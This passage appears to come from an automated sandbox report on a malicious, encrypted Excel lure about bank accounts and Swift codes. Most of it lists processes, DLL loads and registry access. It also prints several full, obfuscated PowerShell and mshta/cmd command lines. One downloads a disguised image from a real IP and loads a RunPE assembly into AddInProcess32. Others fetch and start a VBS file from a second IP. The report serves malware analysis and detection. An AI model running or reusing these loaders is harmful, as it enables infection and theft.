Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC2C3.tmp" "c:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)\|IEX"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: RunPE.pdb source: powershell.exe, 0000000C.00000002.503385693.00000000002F0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000C.00000002.504336170.0000000002713000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.pdbhP source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.pdb source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp

Source: 46930000.0.dr

Initial sample: OLE indicators vbamacros = False

Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

Initial sample: OLE indicators encrypted = True

Data Obfuscation

.NET source code contains potential unpacker

Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs	.Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 12.2.powershell.exe.2f0000.0.raw.unpack, RunPEE.cs	.Net Code: Run4 System.Reflection.Assembly.Load(byte[])

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)\|IEX"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)\|IEX"			Jump to behavior

PowerShell case anomaly found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5